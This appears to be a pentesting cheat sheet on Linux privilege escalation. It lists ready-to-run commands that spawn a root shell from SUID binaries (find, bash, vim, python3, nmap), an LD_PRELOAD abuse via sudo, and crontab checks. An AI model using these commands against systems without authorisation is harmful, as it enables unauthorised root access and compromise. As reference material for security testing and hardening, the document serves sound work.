Skip to content

Linux Privilege Escalation Reference

Privilege escalation involves transitioning from a standard, unprivileged user account (uid >= 1000) to root authority (uid=0).

Files with the SetUID bit (4000) execute with the permissions of the file owner (typically root).

Terminal window
find / -perm -4000 -type f 2>/dev/null

If any of the following standard utilities possess the SUID bit, an administrative shell can be obtained immediately:

Utility Exploitation Command
find find . -exec /bin/sh -p \; -quit
bash bash -p
vim vim -c ':!/bin/sh'
python3 python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'
nmap (Legacy) nmap --interactive followed by !sh

Verify granted sudo permissions for the current user without a password prompt:

Terminal window
sudo -l

If env_keep += LD_PRELOAD is set in /etc/sudoers:

Terminal window
# Compile malicious shared object and execute with sudo
gcc -fPIC -shared -o /tmp/preload.so /tmp/preload.c -nostartfiles
sudo LD_PRELOAD=/tmp/preload.so <allowed-command>

Inspect system crontabs and world-writable scripts:

Terminal window
cat /etc/crontab
ls -la /etc/cron.*
find /var/spool/cron/ -type f 2>/dev/null